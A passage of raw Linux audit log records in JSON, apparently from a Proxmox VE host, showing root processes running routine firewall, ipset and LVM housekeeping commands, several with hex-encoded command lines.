proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966334104,"@rawstring":"node=pve type=PATH msg=audit(1781966334.104:69332): item=0 name=\"/usr/bin/clear\" inode=260666 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966047,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964966.047:63405): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc134fb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60838 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655345,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965655.345:66546): proctitle=\"ip6tables-save\""} {"@timestamp":1781966331215,"@rawstring":"node=pve type=PATH msg=audit(1781966331.215:69331): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966042,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964966.042:63404): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae4ad0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60837 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655335,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965655.335:66545): proctitle=\"iptables-save\""} {"@timestamp":1781966331215,"@rawstring":"node=pve type=PATH msg=audit(1781966331.215:69331): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966034,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964966.034:63403): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60836 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655325,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965655.325:66544): proctitle=\"ip6tables-save\""} {"@timestamp":1781966331215,"@rawstring":"node=pve type=PATH msg=audit(1781966331.215:69330): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966029,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964966.029:63402): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60835 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655316,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965655.316:66543): proctitle=\"iptables-save\""} {"@timestamp":1781966331215,"@rawstring":"node=pve type=PATH msg=audit(1781966331.215:69329): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966025,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964966.025:63401): arch=c000003e syscall=59 success=yes exit=0 a0=636e4eef4d70 a1=636e4ef00b70 a2=636e4eece680 a3=5 items=2 ppid=60828 pid=60834 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655312,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965655.312:66542): proctitle=\"ebtables-restore\""} {"@timestamp":1781966331210,"@rawstring":"node=pve type=PATH msg=audit(1781966331.210:69328): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966022,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964966.022:63400): arch=c000003e syscall=59 success=yes exit=0 a0=636e3c5deac8 a1=7ffc7968d5d0 a2=636e4eece680 a3=636e3c5c224e items=2 ppid=60828 pid=60830 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655308,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965655.308:66541): proctitle=\"ebtables-restore\""} {"@timestamp":1781966331210,"@rawstring":"node=pve type=PATH msg=audit(1781966331.210:69328): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966021,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964966.021:63399): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc7968d590 a1=636e4eef0410 a2=636e4eece680 a3=5 items=2 ppid=60828 pid=60829 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655299,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965655.299:66540): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966331210,"@rawstring":"node=pve type=PATH msg=audit(1781966331.210:69327): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966017,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964966.017:63397): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60828 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655288,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965655.288:66539): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966331210,"@rawstring":"node=pve type=PATH msg=audit(1781966331.210:69326): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966010,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964966.010:63396): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60827 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655281,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965655.281:66538): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966326203,"@rawstring":"node=pve type=PATH msg=audit(1781966326.203:69325): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966005,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964966.005:63395): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60826 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655273,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965655.273:66537): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966326203,"@rawstring":"node=pve type=PATH msg=audit(1781966326.203:69325): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964965999,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964965.999:63394): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8adbf40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60825 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655266,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965655.266:66536): proctitle=697073657400726573746F7265"} {"@timestamp":1781966326203,"@rawstring":"node=pve type=PATH msg=audit(1781966326.203:69324): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964965993,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964965.993:63393): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc138ca0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60824 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655257,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965655.257:66535): proctitle=\"ip6tables-save\""} {"@timestamp":1781966326203,"@rawstring":"node=pve type=PATH msg=audit(1781966326.203:69323): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964965987,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964965.987:63392): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f0cd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60823 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655249,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965655.249:66534): proctitle=\"iptables-save\""} {"@timestamp":1781966326197,"@rawstring":"node=pve type=PATH msg=audit(1781966326.197:69322): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964964736,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964964.736:63391): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73bb6f0 a1=64f8d73e0690 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60820 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655244,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965655.244:66533): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966326197,"@rawstring":"node=pve type=PATH msg=audit(1781966326.197:69322): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964964705,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964964.705:63390): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d26f9240 a1=64f8d7417e90 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60819 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655240,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965655.240:66532): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966326197,"@rawstring":"node=pve type=PATH msg=audit(1781966326.197:69321): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964961285,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964961.285:63389): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60815 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655238,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965655.238:66531): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966326197,"@rawstring":"node=pve type=PATH msg=audit(1781966326.197:69320): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964961275,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964961.275:63386): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60814 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655238,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965655.238:66530): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966325972,"@rawstring":"node=pve type=PATH msg=audit(1781966325.972:69318): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964956265,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964956.265:63383): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60813 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655233,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965655.233:66529): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966325972,"@rawstring":"node=pve type=PATH msg=audit(1781966325.972:69318): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964956255,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964956.255:63380): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60812 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655223,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965655.223:66528): proctitle=\"ip6tables-save\""} {"@timestamp":1781966325968,"@rawstring":"node=pve type=PATH msg=audit(1781966325.968:69317): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955978,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964955.978:63377): arch=c000003e syscall=59 success=yes exit=0 a0=6097285760e0 a1=609728572e60 a2=609728554680 a3=5 items=2 ppid=60805 pid=60811 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655212,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965655.212:66527): proctitle=\"iptables-save\""} {"@timestamp":1781966325968,"@rawstring":"node=pve type=PATH msg=audit(1781966325.968:69317): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955974,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964955.974:63376): arch=c000003e syscall=59 success=yes exit=0 a0=6096ea70eac8 a1=7fffe3074370 a2=609728554680 a3=6096ea6f224e items=2 ppid=60805 pid=60807 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655206,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965655.206:66526): proctitle=69707365740073617665"} {"@timestamp":1781966325966,"@rawstring":"node=pve type=PATH msg=audit(1781966325.966:69316): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955973,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964955.973:63375): arch=c000003e syscall=59 success=yes exit=0 a0=7fffe3074330 a1=60972855b310 a2=609728554680 a3=5 items=2 ppid=60805 pid=60806 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655194,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965655.194:66525): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966325966,"@rawstring":"node=pve type=PATH msg=audit(1781966325.966:69316): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955969,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964955.969:63373): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60805 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655180,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965655.180:66524): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966325965,"@rawstring":"node=pve type=PATH msg=audit(1781966325.965:69315): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955963,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964955.963:63372): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60804 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965654243,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965654.243:66523): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781966325965,"@rawstring":"node=pve type=PATH msg=audit(1781966325.965:69315): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955956,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964955.956:63371): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60803 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965654220,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965654.220:66522): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966325965,"@rawstring":"node=pve type=PATH msg=audit(1781966325.965:69314): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955950,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964955.950:63370): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60802 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965653842,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965653.842:66521): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966325960,"@rawstring":"node=pve type=PATH msg=audit(1781966325.960:69313): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955943,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964955.943:63369): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60801 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965653842,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965653.842:66520): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966325960,"@rawstring":"node=pve type=PATH msg=audit(1781966325.960:69313): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955940,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964955.940:63368): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=654bca419740 items=0 ppid=1156 pid=60800 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965653842,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965653.842:66519): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966325960,"@rawstring":"node=pve type=PATH msg=audit(1781966325.960:69313): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955937,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964955.937:63367): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13a240 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60800 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965653828,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965653.828:66518): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966325955,"@rawstring":"node=pve type=PATH msg=audit(1781966325.955:69312): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955932,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964955.932:63366): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ece00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60799 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965653828,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965653.828:66517): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966325955,"@rawstring":"node=pve type=PATH msg=audit(1781966325.955:69312): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955926,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964955.926:63365): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f4800 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60798 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} 